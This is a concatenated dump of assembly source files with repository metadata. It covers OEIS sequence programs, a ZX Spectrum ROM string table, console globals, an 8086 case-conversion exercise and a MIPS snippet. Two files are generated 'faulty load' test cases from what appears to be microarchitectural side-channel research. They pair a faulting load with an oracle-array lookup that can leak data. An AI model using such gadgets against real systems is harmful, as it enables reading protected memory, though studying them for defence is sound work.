; A329837: Beatty sequence for (4+sqrt(26))/5. ; Submitted by Jamie Morken(s3) ; 1,3,5,7,9,10,12,14,16,18,20,21,23,25,27,29,30,32,34,36,38,40,41,43,45,47,49,50,52,54,56,58,60,61,63,65,67,69,70,72,74,76,78,80,81,83,85,87,89,90,92,94,96,98,100,101,103,105,107,109,111,112,114 add $0,1 mul $0,91 sub $0,1 div $0,50
34.777778
194
0.664537
6b8b66f242c39898ebcb084d29099dfbe7c58d0e
1,435
asm
Assembly
programs/oeis/257/A257083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/257/A257083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/257/A257083.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A257083: Partial sums of A257088. ; 1,2,6,9,17,22,34,41,57,66,86,97,121,134,162,177,209,226,262,281,321,342,386,409,457,482,534,561,617,646,706,737,801,834,902,937,1009,1046,1122,1161,1241,1282,1366,1409,1497,1542,1634,1681,1777,1826,1926,1977,2081,2134,2242,2297,2409,2466,2582,2641,2761,2822,2946,3009,3137,3202,3334,3401,3537,3606,3746,3817,3961,4034,4182,4257,4409,4486,4642,4721,4881,4962,5126,5209,5377,5462,5634,5721,5897,5986,6166,6257,6441,6534,6722,6817,7009,7106,7302,7401,7601,7702,7906,8009,8217,8322,8534,8641,8857,8966,9186,9297,9521,9634,9862,9977,10209,10326,10562,10681,10921,11042,11286,11409,11657,11782,12034,12161,12417,12546,12806,12937,13201,13334,13602,13737,14009,14146,14422,14561,14841,14982,15266,15409,15697,15842,16134,16281,16577,16726,17026,17177,17481,17634,17942,18097,18409,18566,18882,19041,19361,19522,19846,20009,20337,20502,20834,21001,21337,21506,21846,22017,22361,22534,22882,23057,23409,23586,23942,24121,24481,24662,25026,25209,25577,25762,26134,26321,26697,26886,27266,27457,27841,28034,28422,28617,29009,29206,29602,29801,30201,30402,30806,31009,31417,31622,32034,32241,32657,32866,33286,33497,33921,34134,34562,34777,35209,35426,35862,36081,36521,36742,37186,37409,37857,38082,38534,38761,39217,39446,39906,40137,40601,40834,41302,41537,42009,42246,42722,42961,43441,43682,44166,44409,44897,45142,45634,45881,46377,46626 mul $0,6 add $0,5 div $0,4 pow $0,2 mov $1,$0 div $1,3 add $1,1
130.454545
1,333
0.797213
045096891634b2fd6f7963cd19ef49fa1b902ccb
7,936
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1667.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1667.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1667.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1d93e, %rsi lea addresses_D_ht+0x77fe, %rdi nop nop nop nop xor $43829, %r9 mov $43, %rcx rep movsb nop nop add %r11, %r11 lea addresses_A_ht+0x140ee, %rsi lea addresses_D_ht+0x159d0, %rdi nop nop nop nop inc %rbp mov $64, %rcx rep movsw nop nop nop xor %rsi, %rsi lea addresses_WT_ht+0x191fe, %rcx cmp %r8, %r8 movb (%rcx), %r11b nop add $61605, %r9 lea addresses_WC_ht+0x7a4e, %r9 nop nop nop cmp $29641, %r11 mov (%r9), %ebp nop nop nop nop xor $33796, %rbp lea addresses_D_ht+0x83fe, %rcx and %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, (%rcx) sub $37126, %r11 lea addresses_UC_ht+0x8eae, %rsi add %rbp, %rbp vmovups (%rsi), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r9 nop nop nop and $4068, %rdi lea addresses_UC_ht+0x14773, %rcx clflush (%rcx) nop nop nop nop nop xor %rbp, %rbp mov (%rcx), %si nop nop nop sub %r8, %r8 lea addresses_WT_ht+0x1dfb2, %rsi nop nop nop nop nop sub %r8, %r8 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 vmovups %ymm7, (%rsi) nop nop nop nop nop dec %rsi lea addresses_UC_ht+0x143fe, %rdi xor $53872, %rsi movw $0x6162, (%rdi) nop add %rdi, %rdi lea addresses_WC_ht+0x157fe, %rsi nop xor $38870, %r9 movw $0x6162, (%rsi) nop nop nop nop nop add $14751, %r11 lea addresses_WT_ht+0x41fe, %rsi lea addresses_D_ht+0x11dfe, %rdi nop nop nop dec %rdx mov $96, %rcx rep movsq nop nop dec %rdx lea addresses_A_ht+0x132be, %rsi nop nop nop nop cmp $58295, %rbp mov $0x6162636465666768, %rcx movq %rcx, (%rsi) nop nop sub %r9, %r9 lea addresses_D_ht+0x19bfe, %rdx nop nop nop nop nop and $971, %rdi mov (%rdx), %cx nop add %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %rbx push %rcx push %rsi // Store lea addresses_D+0xfe16, %rsi nop nop nop nop and $48546, %rcx movl $0x51525354, (%rsi) nop nop inc %rsi // Store lea addresses_WC+0x705e, %r14 nop nop nop nop nop and %r13, %r13 movl $0x51525354, (%r14) nop nop nop nop nop sub %rcx, %rcx // Load mov $0x6006a100000008fe, %rcx nop nop nop nop inc %r10 vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r14 nop cmp $40842, %r15 // Faulty Load lea addresses_WC+0x193fe, %r10 nop sub $42646, %r15 mov (%r10), %r13w lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rsi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_D', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': True, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
32.129555
2,999
0.653478
82afee58daad453cae8617d6c84de6b54b30738c
1,971
asm
Assembly
rom_src/strings.asm
UzixLS/zx-sizif-512
a785ff44d2d07241bd08f201daa745f8490761d9
[ "MIT" ]
85
2020-06-01T07:51:37.000Z
2022-03-22T05:47:54.000Z
rom_src/strings.asm
UzixLS/zx-sizif-512
a785ff44d2d07241bd08f201daa745f8490761d9
[ "MIT" ]
5
2021-01-16T22:50:40.000Z
2022-03-20T10:12:28.000Z
rom_src/strings.asm
UzixLS/zx-sizif-512
a785ff44d2d07241bd08f201daa745f8490761d9
[ "MIT" ]
12
2020-06-01T07:51:44.000Z
2022-03-10T21:37:44.000Z
DB 0 IFDEF SIZIFXXS str_sizif: DB "SIZIF-XXS",0 str_sizif_end: ENDIF IFDEF SIZIF512 str_sizif: DB "SIZIF-512",0 str_sizif_end: ENDIF str_pause DB " PAUSE ",0 str_pause_end: str_exit: DB "Exit",0 str_exit_end: str_exit_reboot: DB "& reboot ",0 str_exit_reboot_end: str_exit_no_reboot: DB " ",0 str_exit_no_reboot_end: str_on: DB " ON",0 str_on_end: str_off: DB " OFF",0 str_off_end: str_machine: DB "Machine",0 str_machine_end: str_machine_48: DB " 48",0 str_machine_48_end: str_machine_128: DB " 128",0 str_machine_128_end: str_machine_3e: DB " +3e",0 str_machine_3e_end: str_machine_pentagon: DB "Pentagon",0 str_machine_pentagon_end: str_cpu: DB "CPU freq",0 str_cpu_end: str_cpu_35: DB "3.5MHz",0 str_cpu_35_end: str_cpu_44: DB "4.4MHz",0 str_cpu_44_end: str_cpu_52: DB "5.2MHz",0 str_cpu_52_end: str_cpu_7: DB " 7MHz",0 str_cpu_7_end: str_cpu_14: DB " 14MHz",0 str_cpu_14_end: str_panning: DB "Panning",0 str_panning_end: str_panning_abc: DB " ABC",0 str_panning_abc_end: str_panning_acb: DB " ACB",0 str_panning_acb_end: str_panning_mono: DB "Mono",0 str_panning_mono_end: str_joystick: DB "Joystick",0 str_joystick_end: str_joystick_kempston: DB "Kempston",0 str_joystick_kempston_end: str_joystick_sinclair: DB "Sinclair",0 str_joystick_sinclair_end: str_rom48: DB "48K ROM",0 str_rom48_end: str_rom48_default: DB "Default",0 str_rom48_default_end: str_rom48_lg: DB " LG",0 str_rom48_lg_end: str_rom48_opense: DB " OpenSE",0 str_rom48_opense_end: str_divmmc: DB "DivMMC",0 str_divmmc_end: str_divmmc_noos: DB "NO OS",0 str_divmmc_noos_end: str_ulaplus: DB "ULA+",0 str_ulaplus_end str_dac: DB "DAC",0 str_dac_end str_dac_covox: DB " Covox",0 str_dac_covox_end str_dac_sd: DB " SD",0 str_dac_sd_end str_dac_covoxsd: DB "Covox+SD",0 str_dac_covoxsd_end str_tsfm: DB "TSFM+MIDI",0 str_tsfm_end str_saa: DB "SAA1099",0 str_saa_end str_gs: DB "GS",0 str_gs_end
15.642857
40
0.747336
23c6d8cb202aafd2fcea7e890094a36cca0d45b0
287
asm
Assembly
libsrc/_DEVELOPMENT/arch/sms/globals/z80/_GLOBAL_SMS_VDP_R0R1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/sms/globals/z80/_GLOBAL_SMS_VDP_R0R1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/sms/globals/z80/_GLOBAL_SMS_VDP_R0R1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
INCLUDE "config_private.inc" SECTION data_arch PUBLIC _GLOBAL_SMS_VDP_R0R1 PUBLIC _GLOBAL_SMS_VDP_R0 PUBLIC _GLOBAL_SMS_VDP_R1 _GLOBAL_SMS_VDP_R0R1: defb __SMS_VDP_R0, __SMS_VDP_R1 defc _GLOBAL_SMS_VDP_R0 = _GLOBAL_SMS_VDP_R0R1 defc _GLOBAL_SMS_VDP_R1 = _GLOBAL_SMS_VDP_R0R1 + 1
19.133333
50
0.860627
b878072b0f3da468571f71996308d22a2653dd96
735
asm
Assembly
oeis/291/A291006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/291/A291006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/291/A291006.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A291006: p-INVERT of (1,1,1,1,1,...), where p(S) = 1 - S - S^2 - S^3 - S^4. ; Submitted by Jamie Morken(s4) ; 1,3,9,27,80,235,688,2013,5891,17244,50482,147791,432672,1266680,3708288,10856241,31782309,93044665,272394011,797450348,2334585333,6834643282,20008841823,58577124509,171488162320,502042223184,1469759722591,4302812676894,12596750780526,36877768599840,107961953093765,316065308676367,925300779450229,2708875377802959,7930400552377400,23216739107488335,67968442605790000,198981828105504761,582531633773756415,1705397460551995652,4992656758597165506,14616312083106896043,42790159476295373664 lpb $0 sub $0,1 add $1,1 add $3,$2 add $2,1 sub $3,$4 add $3,$1 add $4,$2 add $1,$4 add $2,$3 lpe mov $0,$2 add $0,1
40.833333
488
0.770068
55486738324f5c09407cebf9521534c666571179
630
asm
Assembly
LOWERCASE TO UPPERCASE.asm
selectiveduplicate/8086-assembly
c7c1e9e2a0841a9ed775cb10380122fb6c8122b6
[ "MIT" ]
2
2020-04-11T00:32:34.000Z
2022-02-05T16:23:25.000Z
LOWERCASE TO UPPERCASE.asm
selectiveduplicate/8086-assembly
c7c1e9e2a0841a9ed775cb10380122fb6c8122b6
[ "MIT" ]
null
null
null
LOWERCASE TO UPPERCASE.asm
selectiveduplicate/8086-assembly
c7c1e9e2a0841a9ed775cb10380122fb6c8122b6
[ "MIT" ]
3
2018-04-16T13:46:18.000Z
2021-05-07T06:51:31.000Z
TITLE LOWER_TO_UPPER .MODEL SMALL .STACK 100H .DATA .CODE MAIN PROC MOV AX, @DATA ;initializing DS MOV DS, AX MOV AH, 1 ;signle character input INT 021H MOV BL, AL ;store the char temporarily on BL AND BL, 0DFH ;change 5-th bit to get lowercase MOV AH, 2 ;code for a newline MOV DL, 0DH INT 021H MOV DL, 0AH INT 021H MOV DL, BL ;move to DL for displaying INT 021H ;display the shit MAIN ENDP END MAIN
21.724138
66
0.477778
889b258d8e7c3d674fab3b6bebe6699a3d1f494d
61
asm
Assembly
P5/P5_TestCode/P5_L1_testcase28/P5_L1_testcase28/mips28.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P5/P5_TestCode/P5_L1_testcase28/mips28.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P5/P5_TestCode/P5_L1_testcase28/mips28.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
ori $t1,$t1,1 ori $t2,$t2,2 addu $t0,$t1,$t2 nop sw $t0,0($0)
12.2
16
0.57377
8cf01c4e6c732e495218e1c335cec2ee29c714d8
7,705
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_21829_357.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x13082, %rbx nop inc %rcx mov (%rbx), %r13 nop nop add %r12, %r12 lea addresses_WC_ht+0x103e2, %rdx nop nop nop nop nop and $6686, %r15 movl $0x61626364, (%rdx) nop cmp $5049, %r12 lea addresses_A_ht+0x1ceaa, %rsi lea addresses_WT_ht+0x134aa, %rdi nop nop add $11603, %r13 mov $37, %rcx rep movsw nop and $26311, %r15 lea addresses_normal_ht+0x123aa, %rbx cmp $46941, %rdi mov (%rbx), %cx nop nop nop dec %rdx lea addresses_normal_ht+0x921a, %rdx clflush (%rdx) nop nop nop and $49778, %r12 mov (%rdx), %rcx nop nop and $49106, %rbx lea addresses_WC_ht+0x8caa, %rsi lea addresses_WC_ht+0x1dcaa, %rdi nop xor %r15, %r15 mov $103, %rcx rep movsq nop nop nop nop and %rcx, %rcx lea addresses_normal_ht+0x194aa, %rdx nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%rdx) nop nop inc %r15 lea addresses_UC_ht+0x1b9c2, %r13 nop sub $46962, %rcx mov (%r13), %r12 nop nop nop add $32818, %rsi lea addresses_WC_ht+0xe0aa, %rsi lea addresses_WT_ht+0x1a682, %rdi dec %rdx mov $60, %rcx rep movsw nop cmp %rbx, %rbx lea addresses_normal_ht+0xfaac, %rdx nop nop nop nop and $52413, %r15 mov (%rdx), %r12d nop sub %rdi, %rdi lea addresses_WC_ht+0x252a, %rsi nop nop nop nop nop inc %rdx mov (%rsi), %r13d nop nop and %r15, %r15 lea addresses_A_ht+0xf9ea, %rsi lea addresses_D_ht+0x1e42a, %rdi and $49800, %rbx mov $47, %rcx rep movsl nop xor %r12, %r12 lea addresses_D_ht+0x16267, %r15 add %rbx, %rbx mov $0x6162636465666768, %r12 movq %r12, %xmm4 vmovups %ymm4, (%r15) nop nop add %r15, %r15 lea addresses_WT_ht+0xb06a, %rdi nop xor %rcx, %rcx movw $0x6162, (%rdi) nop nop add $10124, %rbx lea addresses_normal_ht+0x658a, %rsi lea addresses_normal_ht+0xeb52, %rdi clflush (%rsi) clflush (%rdi) nop xor %rdx, %rdx mov $55, %rcx rep movsl nop nop nop nop nop cmp $10458, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rdx push %rsi // Faulty Load lea addresses_WT+0xacaa, %rdx nop nop nop nop nop and $38955, %rsi movups (%rdx), %xmm1 vpextrq $0, %xmm1, %rbp lea oracles, %rax and $0xff, %rbp shlq $12, %rbp mov (%rax,%rbp,1), %rbp pop %rsi pop %rdx pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 